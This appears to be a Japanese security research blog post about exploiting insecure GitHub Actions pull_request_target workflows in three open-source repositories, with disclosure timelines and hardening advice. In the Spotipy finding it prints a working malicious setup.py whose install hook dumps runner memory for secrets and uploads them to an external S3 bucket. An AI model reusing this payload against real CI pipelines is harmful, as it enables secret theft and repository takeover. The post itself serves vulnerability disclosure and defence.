
設立以来、Sysdig Threat Research Team(TRT)は、世界をより安全で、より多くの情報に基づいた場所にすることに尽力してきました。この取り組みを守ることは、多くの場合、現実世界の問題を能動的に探索し、特定・修正し、セキュリティ上の懸念をコミュニティと共有することを意味します。
人気リポジトリとそのGitHub Actionsに対して継続的インテグレーション/継続的デリバリーの(CI/CD) セキュリティ調査を行う中で、Sysdig TRTは安全でないワークフローを悪用し、数十のオープンソースプロジェクトにアクセスし(そして報告し)ました。Pwn Requestsのような手法は何年も前から公に文書化されているにもかかわらず、多くのオープンソースプロジェクトはいまだに重大なCI/CDセキュリティギャップを抱えており、深刻なインシデントにつながり得ます。
本記事では、Sysdig TRTが侵害し、セキュリティ強化に貢献できたGitHubリポジトリの一部を取り上げます。MITREやSplunkなどの組織が保守するプロジェクトや、コミュニティによって構築されたものも含まれます。
また、pull_request_targetを使用する際のベストプラクティスに関する推奨事項と、pull_requestの使用に関する提案も提供します。最後に、オープンソースのFalco Actionsを用いてCI/CDワークフローへの脅威を監視・検知する方法を説明します。
GitHub Actionsとは?
GitHub Actionsは、オープンソースプロジェクトにおけるビルド、テスト、デプロイのCI/CDパイプラインを自動化するために最も広く利用されているプラットフォームの1つであり、無償で高速性と柔軟性を提供します。しかし、多くの利点と同時に深刻なセキュリティリスクも伴います。
最近では、多くの現代的なサプライチェーン攻撃が、安全でないGitHub Actionsワークフローの悪用から始まるのを目にしてきました。これらのワークフローには、APIキーや認証情報などのシークレットが含まれていることが多く、流出すると権限昇格やリポジトリ内での横展開、さらには組織全体への影響につながる可能性があります。
これらの脆弱性を特定し悪用する方法を詳述したツール、手法、公開研究が利用可能であるにもかかわらず、多くのオープンソースプロジェクトの成熟度は驚くほど低いままです。Sysdig TRTは、これらの問題がいかに広範で危険であるかを示す複数の例を発見しました。
pull_request_targetの悪用
GitHub検索を使ってさまざまなリポジトリをスクレイピングし分析することで、実在のプロジェクトを評価し、状況を把握し始めました。まずはよく知られていて比較的わかりやすいものから始めたかったため、pull_request_target は明確な選択肢でした。
pull_request_targetは、リポジトリを対象とするプルリクエスト上でアクティビティが発生したときにワークフローを実行する、GitHub Actionsで非常に有名なトリガーイベントです。マージコミットのコンテキストで実行されるpull_requestイベントとは異なり、pull_request_targetはベースブランチ(通常はデフォルトブランチ、例:mainやmaster)のコンテキストで実行されます。もう1つの違いは、pull_request_targetがシークレットと、GITHUB_TOKENの書き込み権限にアクセスできる点です。以下の表は違いをより明確に示しています。
では、なぜpull_request_targetは悪名高くなったのでしょうか?メンテナはしばしばpull_request_targetを使ってプルリクエスト内の変更をテストしますが、そこには公開コントリビュータのフォークからの信頼できないコードが含まれるのが一般的です。しかし、プルリクエストのコードをチェックアウトすることで、ワークフローが任意の、潜在的に悪意あるコードを実行してしまうリスクが生じます。
さらに悪いことに、GITHUB_TOKENの権限とシークレットの存在を忘れてはいけません。上の表に示されているとおり、pull_request_targetでトリガーされるワークフローはリポジトリのすべてのシークレットにアクセスでき、ワークフローのGITHUB_TOKENにはデフォルトで読み取り・書き込み権限が付与されます。
これらが組み合わさると、pull_request_targetを使うワークフローがフォークからコードをチェックアウトした場合、すべてのシークレットと高権限のGITHUB_TOKENが露出し、深刻なセキュリティリスクを生み出します。
結果を分析する中で、私たちは発見した脆弱なpull_request_targetワークフローの数に驚きました。無名または非アクティブなリポジトリに限られると思うかもしれませんが、そうではありませんでした。数万のスターを持つ著名プロジェクトが、いまだに安全でない設定を使用している例を複数見つけました。
発見1:spotipy-dev/spotipy(CVE-2025-47928)
リポジトリspotipy-dev/spotipyは、5.2Kのスターと約1,000のフォークを持つ人気の高さから注目を集めました。SpotipyはSpotify Web API向けのオープンソースPythonライブラリで、ユーザーが軽量な音楽アプリケーションを自作できるようにします。ワークフローを調べたところ、pull_request_targetを利用するものを1つ特定しました。
pull_request_target:
types: [opened, synchronize, reopened]
...
...
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
...
...
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install .
....
pull_request_targetワークフローが脆弱で悪用可能になるのは、次の場合です。
- head.refから信頼できないコードを明示的にチェックアウトし、それを実行する
- 変更されたリポジトリ内の1つ以上のファイルを実行するワークフローステップが存在する
このケースでは、pip installによりワークフロー内での実行を容易に達成できます。setup.pyを悪意あるPythonパッケージで更新すれば、pipでパッケージがインストールされた瞬間に注入コードが実行されます。
from setuptools import setup
from setuptools.command.install import install
import os
import sys
import re
import subprocess
classCustomInstallCommand(install):
defrun(self):
bash_command= '''curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets'''
subprocess.run(["bash", "-c", bash_command])
another_command = "curl -X PUT --upload-file /tmp/secrets https://XXXXXXXXX.s3.us-east-1.amazonaws.com/secrets.txt"
subprocess.run(["bash", "-c", another_command])
bash_command_1 = "sleep 6000"
subprocess.run(["bash", "-c", bash_command_1])
install.run(self)
setup(
name='example_pypi',
version='0.5.2',
author='Your Name',
author_email='[email protected]',
description='Test lab package with custom install logic',
packages=['example_pypi'],
python_requires='>=3.6',
classifiers=[
'Programming Language :: Python :: 3',
],
cmdclass={
'install': CustomInstallCommand,
},
)
このコードスニペットは、memdump.pyというよく知られたスクリプトを実行してメモリからシークレットを抽出し、外部バケットへ流出させます。
sleepコマンドはワークフローを実行し続けるため、GITHUB_TOKENが有効なままになります。このケースでは、GITHUB_TOKENやその他のシークレットを流出させることができました。トークン権限を見ると、デフォルトで高い権限を取得できていることがわかります。
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
デフォルトで高い権限を取得できるということは、ユーザーがメインリポジトリの内容を完全に制御できることを意味します。SpotipyチームにGHSA-h25v-8c87-rvm8を通じて脆弱性を報告したところ、問題は認識され、迅速に修正されました。この脆弱性にはCVE ID 2025-47928が付与され、リポジトリを完全に乗っ取ることができたため、重大(critical)と分類されました。
発見2:mitre-attack/car
spotipy-dev リポジトリで問題を発見した後、さらに興味深い別のリポジトリに遭遇しました。あまりに意外で、最初は信じがたいほどでした:mitre-attack/carです。MITRE CAR(Cyber Analytics Repository)は、MITRE ATT&CKフレームワークにマッピングされた攻撃者の振る舞いをブルーチームが特定できるよう支援するために設計された、検知ルールやロジックを含む分析のコレクションです。このリポジトリでは、Spotipyのものと非常によく似た注目すべきワークフローをもう1つ見つけました。
on:
pull_request_target:
...
- name: Pull down repo
uses: actions/checkout@v3
with:
repository: ${{ github.event.pull_request.head.repo.full_name }}
ref: ${{ github.head_ref }}
...
...
- name: Install script dependencies
run: pip install -r ./scripts/requirements.txt
...
驚くべきことに、私たちは前回とほぼ同じ悪用手法を用いました。このケースでは、pip installコマンドが標準のrequirements.txtファイルに依存していますが、ワークフローがheadブランチをチェックアウトするため、攻撃者はこのファイルを完全に制御できます。今回も、デフォルトで高権限のGITHUB_TOKENとその他のシークレットの流出に成功し、最終的にリポジトリ内で権限を昇格させました。
MITREに脆弱性を報告したところ、MITREチームにより認識され、迅速に修正されました。
発見3:splunk/security_content
MITREの件にまだ驚いている最中、セキュリティコミュニティでよく知られた名前を持つ別のリポジトリを見つけました。Splunkのリポジトリsplunk/security_contentで、疑わしいワークフローがありました。これまでの例と同様に、pull_request_targetを使ってワークフローを変更し、Pythonを悪用することができました。
on:
pull_request_target:
types: [opened, reopened, synchronize]
jobs:
appinspect:
runs-on: ubuntu-latest
steps:
- name: Check out the repository code
uses: actions/checkout@v4
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
...
- name: Install Python Dependencies and ContentCTL and Atomic Red Team
run: |
echo "- Contentctl version - $(cat requirements.txt)"
pip install -r requirements.txt
...
このケースでは、抽出したGITHUB_TOKENはコンテンツ読み取りのみの適切なスコープでした。しかし、ワークフローは2つのシークレットを使用しており、これらは流出しました。
- APPINSPECTUSERNAME
- APPINSPECTPASSWORD
注:Splunkにはセキュリティ問題を開示しましたが、返答はありませんでした。通知後にワークフローは修正されていますが、抽出されたシークレットの機微度は不明です。
推奨事項
調査の過程で、私たちは数十のオープンソースリポジトリにアクセスし、高権限のGITHUB_TOKENやその他のシークレットを流出させました。これらはすべて、リポジトリ所有者が特段のワークフロー制限を設定していない状況で、非常に基本的で概念的に同一の悪用によって実行できました。驚くべきことに、これらのCI/CDベストプラクティスは本来あるべきほど広く採用されておらず、多くのオープンソースプロジェクトのセキュリティ強化に疑問が残ります。
もちろん、pull_request_targetが導入されたのには理由があります。ワークフローがプルリクエストをより高い制御性で扱い、処理できるようにするためです。しかし、設定ミスのリスクが高いため、極めて慎重に使用しなければなりません。
ここで、最初で最も重要な推奨事項に至ります。適切に保護する方法を完全に理解していない限り、使用しないでください。このトリガーを使用する必要がある場合は、本ブログで特定したような潜在的なセキュリティ脆弱性を防ぐために、ワークフローを徹底的にハードニングしてください。
「公開フォークからのすべてのワークフロー実行に承認を必須にする」を設定しても、pull_request_targetトリガーには効果がありません。GitHubが指摘しているとおりです。「pull_request_targetイベントでトリガーされるワークフローは、ベースブランチのコンテキストで実行されます。ベースブランチは信頼されていると見なされるため、これらのイベントでトリガーされるワークフローは、承認設定に関係なく常に実行されます。」
ワークフローの分割
ワークフローを非特権コンポーネントと特権コンポーネントに分割することは、初期のプルリクエスト処理を扱うための非常に効果的なセキュリティ戦略となり得る、GitHub推奨事項の1つです。pull_requestイベントは、機微なシークレットへのアクセスや書き込み権限を必要とせずにプルリクエストを処理できます。一方、workflow_runイベントで起動される特権ワークフローは、非特権ワークフローがチェックを完了した後にのみ呼び出されます。
この分離により、フォークされたプルリクエストに含まれる潜在的に悪意あるコードが、特権コンテキスト内で実行されることはありません。一般に、非特権ワークフローは特権側へ情報を伝達し、受け渡す必要があります。これは重要なセキュリティ境界であり、次のセクションで見るように、非特権ワークフローから来るデータはすべて信頼できない、潜在的に危険なものとして扱うべきです。
GITHUB_TOKENの権限を制限する
前の例で見たように、GIHTUB_TOKENに最小権限を設定することで、攻撃者がそれを使って実行できることを減らせます。
以下は、ワークフローで権限を設定する例です。
permissions:
contents: read
この場合、コンテンツに対して読み取り権限のみを設定しているため、ワークフローで使用されるGITHUB_TOKENを使って攻撃者がリポジトリ内容を改ざん・変更することはできません。
pull_request_targetは細心の注意を払って使用する
本記事を読んだうえでなおpull_request_targetを使用する場合は、関連するリスクを完全に理解し、強力な安全チェックを実装してください。検討すべき緩和策の1つは、プルリクエストに特定のラベルが付与された場合にのみワークフローが実行されるよう設定することです。これにより、リポジトリへの書き込み権限を持つメンテナによる手動の精査が実質的に必須になります。外部コントリビュータはラベルを付与できないため、手動レビュー後にプルリクエストがワークフローをトリガーすることが保証されます。
ただし、この方法は万全ではありません。ラベルが追加された後、ワークフローが開始する前に攻撃者が新しいコミットをプルリクエストへプッシュできてしまう、レースコンディションに脆弱です。このため、ラベルによるゲーティングは恒久的な解決策ではなく、一時的な回避策として扱うべきです。前述したより強力な緩和策のいずれかを実装することを強く推奨します。
実行時脅威検知にFalco Actionsを使用する
tj-actions/changed-filesのケースと同様に、CI/CDワークフローをリアルタイムで監視し潜在的な脅威を検知するオープンソースプロジェクトであるFalco Actionsは、ワークフローに簡単に組み込めます。Falcoを基盤としており、不正なネットワーク接続やファイルアクセスなどの不審なアクティビティを検知できます。
以下の悪用シナリオを用いると、Falco Actionsは上記3つの発見それぞれで実行された悪意ある振る舞いを検知できます。
- /proc/{pid}/memへアクセスし、読み取り可能な各メモリ領域をスキャンして認証情報を探す。
- 収集したデータを流出させるために外部ドメインへ接続する。
Falco Actionsはワークフローの完全なコンテキストを把握しているため、悪意あるアクティビティが発生したワークフローステップを正確に特定でき、トラブルシューティングや実行箇所の特定が容易になります。
結論
オープンソースプロジェクトに対する現代的なサプライチェーン攻撃は、安全でないGitHub Actionsワークフローの悪用から始まります。これらのワークフローには、攻撃者が流出させられるシークレットが含まれていることが多く、その結果、リポジトリ内での権限昇格が発生します。pull_request_targetは、公開フォークを扱う性質上、脆弱になりやすいことで最もよく知られています。この特定のトリガーを使用するワークフローは、関連するセキュリティリスクとともに、特別な注意を払って扱うべきです。
調査の過程で、pull_request_targetが安全でないGitHub Actionsワークフローの唯一の例ではないことも判明しました。Sysdig TRTは現在、組織や開発者と協力してこれらの問題を修正しており、脆弱性が是正され次第、発見事項の報告と詳細の共有を継続していきます。
開示タイムライン
2025年5月14日 — Sysdig TRTがメールでMITREにセキュリティ問題を報告
2025年5月14日 — Sysdig TRTがGitHub Security Advisory(GHSA)を通じてSpotipyにセキュリティ問題を報告
2025年5月15日 — MITREが報告されたセキュリティ問題を修正するパッチをリリース
2025年5月15日 — Spotipyが報告された問題を確認
2025年5月16日 — Sysdig TRTがメールでSplunkにセキュリティ問題を報告
2025年5月16日 — SpotipyがGitHub Security Advisory(GHSA)で開示 — CVE-2025-47928
2025年5月21日 — Splunkが報告されたセキュリティ問題を修正するパッチをリリースしたが、脆弱性に関する確認の連絡は受け取れなかった


